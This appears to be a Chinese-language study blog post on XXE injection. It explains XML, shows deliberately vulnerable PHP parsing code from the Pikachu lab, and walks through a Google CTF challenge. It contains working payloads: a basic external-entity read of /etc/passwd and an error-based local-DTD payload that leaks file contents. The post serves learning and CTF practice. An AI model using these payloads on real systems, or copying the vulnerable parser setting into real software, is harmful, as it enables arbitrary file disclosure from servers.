XXE漏洞学习

 

0X00:前言

介绍:

XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取命令执行内网端口扫描攻击内网网站发起Dos攻击等危害。

XML外部实体注入(XML External Entity)简称XXE

 XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

php函数simplexml_load_string()读取XML

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞

(1)什么是XML???

XML用于标记电子文件使其具有结构性的标记语句,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言,XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素

百度百科:

可扩展 标记语言标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的 标记语言
在电子计算机中,标记指 计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合 万维网传输,提供统一的方法来 描述和交换独立于 应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输

 

(2)XML文档格式

<!--第一部分:XML声明-->

<!--第二部分:文档类型定义DTD-->

<!--第三部分:文档元素-->

 

 

0X01:漏洞

测试环境pikachu

 

后端代码

$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){


    $xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

?>

 

这是正常的XML

<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>

测试结果:

 

这是恶意的XML   payload ,引入了外部的SYSTEM

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

 

但是这里我没成功,可能是因为/etc/passwd是liunx的固定配置文件,我是windows

看被人的提交之后 就可以查看/etc/passwd的文件内容

 

0X02:一题关于XXE注入的CTF

Blind association

题目地址:https://bnv.web.ctfcompetition.com/

题目描述:这是一个没有啥好看的 enterprise-ready Web应用程序。 

根据别人步骤做的 

 

 

 

中间说:请使用下面的搜索引擎找到离你最近的关联组织

有三个地名,提交了三次后发现没什么反应,只会出来貌似没用的文字

抓包发现!!!

每次提交,在POST一条message,如图

 

 试验过了,三个数是不变的,F12看一下javascript

 

 

 

 

 也不知道 为啥想到要看这个???

数一数 blindvalues 数组,刚好 26 个,猜想是不是字母一一对应捏,打开 Console 验证一下:

 

跟 message 一模一样!

下一步,先想一想是什么攻击方式。如果该题是 SQL 注入的话,那这题只能使用纯字,并且忽略大小写,这个有点难整啊…… 使用特殊标点符号 Fuzz 脚本怼一下,好的,一点用都没有。

 

思来想去,搜到了一个奇妙的渗透手法:基于 Json 的 web 服务也有可能存在着 XXE 注入!试一试提交 XML:

      改为:

 

 

 返回结果和之前不一样了!!!

 

 

 

整了好久,在 Burp 官网上看到了一个比较新颖的使用本地 DTD 读取文件的方法 Exploiting XXE to retrieve data by repurposing a local DTD[2]

这个 payload 主要是利用错误信息来打印目标文件的内容,重新定义了 docbookx.dtd (一般有 Gnome 就有它)里面的 ISOamso。我们提交了这个 payload 之后,当导入本地的 DTD 文件时,会优先执行我们定义的 ISOamso,因此可以达成任意文件读取。

使用该 payload 成功读取:

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
    '>
    %local_dtd;
]>

  




猜一下常见的路径 /flag,对啦✔

 

 

 

 

 参考地址:https://mp.weixin.qq.com/s/6gDMvATp9y7HSD4bFqUXEg

0Xff:总结

 其实有很多地方都不知道为什么要那么做,或许这就是经验的原因,或许是我有知识不知道,但是通过这次了解了XXE是什么,运用流程和姿势。还会回来改改的

 

转载于:https://www.cnblogs.com/liqik/p/11167019.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值